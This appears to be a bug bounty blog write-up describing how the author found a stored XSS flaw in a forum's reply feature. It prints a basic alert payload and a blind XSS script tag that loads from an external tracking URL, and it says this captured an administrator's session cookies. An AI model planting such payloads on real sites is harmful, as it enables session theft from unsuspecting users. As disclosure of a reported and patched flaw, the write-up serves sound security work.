Discovering a Stored XSS Vulnerability on a Bug Bounty Program

Hello AppSec folks, I hope everyone is doing great! This is Anmol, also known as Nishachar or Asmodeus. Let’s dive straight into my recent findings.

During one of my recent bug bounty hunts, I came across an intriguing stored XSS (Cross-Site Scripting) vulnerability on a popular bug bounty platform. Today, I want to walk you through the steps I took to identify and exploit this vulnerability, which ultimately led to its discovery. Let’s jump straight into the action.

Reconnaissance and Subdomain Discovery

The journey began with some basic reconnaissance. After scanning the target, I identified an interesting subdomain: community.example.com. This subdomain hosted a forum where users could discuss the platform’s products, share feedback, and report issues. It was a user-driven community page with several interactive features such as commenting, posting replies, and starting new discussion threads. For privacy and security reasons, we’ll refer to the platform as example.com.

Exploring the Features

Manually browsing through the platform, I observed that users could reply to existing posts. Immediately, I thought about testing for Cross-Site Scripting (XSS) vulnerabilities, as these interactive forums are often prone to client-side injection attacks due to user-generated content.

Without wasting any time, I decided to test some basic XSS payloads by posting replies to existing blog posts. I crafted a standard XSS script to see if any responses would trigger on the page.

<script>alert('XSS')</script>

After submitting this payload and refreshing the page, I didn’t observe any visible results. The payload didn’t seem to execute on my end, which made me think the application might have some filtering or output sanitization in place. Initially, I considered abandoning the test, but then a thought crossed my mind: what if the vulnerability triggers only when an admin or a privileged user views the comment?

The Blind XSS Approach

To test this hypothesis, I decided to try a Blind XSS payload instead. Blind XSS is a technique where the payload doesn’t execute immediately in your browser but gets triggered on another user’s (often an admin’s) browser. To facilitate this, I used a platform like XSS Hunter to track any payload triggers.

I crafted a Blind XSS payload using XSS Hunter’s tracking URL and posted it as a reply to one of the blog posts:

<script src="https://my-xss-hunter-url"></script>

Once the payload was submitted, I waited. The idea was that if an administrator or a privileged user reviewed the comment at any point, the script would execute in their browser, sending back valuable data such as cookies or IP addresses to my XSS Hunter account.

The Payload Gets Triggered!

A few days later, I revisited the blog post where I had left the comment. To my excitement, I received a notification from XSS Hunter that the Blind XSS payload had successfully executed! This indicated that someone — most likely an admin — had viewed the comment, triggering the script in their browser.

As a result, I was able to capture the following data:

The User session cookiesTheir IP addressThe exact time and page where the payload was executed

Now here is some Doubted come in my mind. I am also beginner in AppSec Why This Is Stored XSS and Not Blind XSS

While I initially used a Blind XSS approach to monitor the payload, this vulnerability falls under the category of Stored XSS. Here’s why:

Stored on the Server: The XSS payload was saved as a reply comment in the community forum, making it persistent on the platform.Executed for Any User: Whenever anyone visits that blog post, the malicious script executes, not just for an admin. Any user who views the comment is vulnerable, making it a classic stored XSS.Direct Access: Since I could revisit the page and see the comment where the XSS was triggered, it’s not strictly blind. In a true blind XSS scenario, I wouldn’t have direct access to the page and would rely solely on external notifications.

Although I used a Blind XSS tracking service to confirm the execution, the attack vector itself is Stored XSS because the payload was stored on the server and executed later when viewed by a privileged user or any other visitor.

Key Takeaways:

Always test user-generated content for potential XSS vulnerabilities.If a standard XSS payload doesn’t work, consider trying Blind XSS, especially in scenarios where admins might view or moderate content.The exploitation of stored XSS can lead to serious consequences, particularly when it involves privileged users like admins.

With the details in hand, I reported the stored XSS vulnerability to the platform’s security team, even though this domain was out of scope. Thankfully, they acknowledged the issue and promptly patched it, ensuring the platform’s users were safe from further exploitation.